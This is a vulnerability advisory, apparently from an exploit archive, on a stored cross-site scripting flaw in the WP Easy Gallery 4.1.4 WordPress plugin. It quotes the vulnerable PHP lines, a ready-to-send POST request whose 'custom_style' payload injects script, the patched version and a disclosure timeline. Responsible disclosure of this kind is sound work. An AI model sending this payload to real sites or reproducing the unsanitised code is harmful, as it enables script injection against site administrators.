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WordPress Easy Gallery 4.1.4 Cross Site Scripting

WordPress Easy Gallery 4.1.4 Cross Site Scripting
Posted Jan 26, 2016
Authored by Rahul Pratap Singh

WordPress Easy Gallery plugin version 4.1.4 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 28688bce69fbfc6ba7a3411c2b946f64

WordPress Easy Gallery 4.1.4 Cross Site Scripting

Change Mirror Download
#Product    : WP Easy Gallery
#Exploit Author : Rahul Pratap Singh
#Version : 4.1.4
#Home page Link : https://wordpress.org/plugins/wp-easy-gallery
#Website : 0x62626262.wordpress.com
#Linkedin : https://in.linkedin.com/in/rahulpratapsingh94
#Date : 26/Jan/2016

XSS Vulnerability:

----------------------------------------
Description:
----------------------------------------
"custom_style" parameter is not sanitized that leads to Stored XSS.

----------------------------------------
Vulnerable Code:
----------------------------------------
File Name: wpeg-settings.php

Found at line:12
$temp_defaults['custom_style'] = isset($_POST['custom_style']) ?
$_POST['custom_style'] : '';

Found at line:103
<td><textarea name="custom_style" id="custom_style" rows="4"
cols="40"><?php _e($default_options['custom_style']); ?></textarea></td>

----------------------------------------
Exploit:
----------------------------------------
POST /wp-admin/admin.php?page=wpeg-settings

wpeg_settings=3b59e6c6ef&_wp_http_referer=abc&display_mode=abc&num_columns=abc&show_gallery_name=abc&gallery_name_alignment=abc&use_default_style=abc&drop_shadow=abc&custom_style=</textarea><input+type%3Dtext+onclick%3Dalert(%2FXSS%2F)><!--&defaultSettings=xss&Submit=Save

----------------------------------------
POC:
----------------------------------------
https://0x62626262.files.wordpress.com/2016/01/easy-gallery-settingsxsspoc.png

Fix:
Update to 4.1.5

Disclosure Timeline:
reported to wordpress : 18/1/2016
wordpress response (plugin taken down) : 19/1/2016
vendor deployed a patch : 26/1/2016

#######################################
# CTG SECURITY SOLUTIONS #
# www.ctgsecuritysolutions.com #
#######################################

Pub ref:
https://0x62626262.wordpress.com/2016/01/26/wp-easy-gallery-v4-1-4-stored-xss-vulnerability/
https://wordpress.org/plugins/wp-easy-gallery/changelog/
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